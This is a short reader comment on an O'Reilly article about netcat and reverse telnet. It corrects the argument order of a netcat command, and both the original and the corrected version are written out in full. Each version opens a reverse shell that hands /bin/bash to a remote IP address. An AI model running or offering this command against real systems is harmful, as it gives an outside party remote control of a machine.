We've expanded our news coverage and improved our search! Visit news.oreilly.com for the latest or search for all things across O'Reilly!
advertisement

Article:
  Netcat and Reverse Telnet
Subject:   error in syntax
Date:   2005-04-05 10:39:47
From:   solipsist
this ...
To make a connection from the server:
$ nc 10.0.1.1 80 -e /bin/bash


should be ...
$ nc -e /bin/bash 10.0.1.1 80


at least for my version netcat-1.10_2 on FreeBSD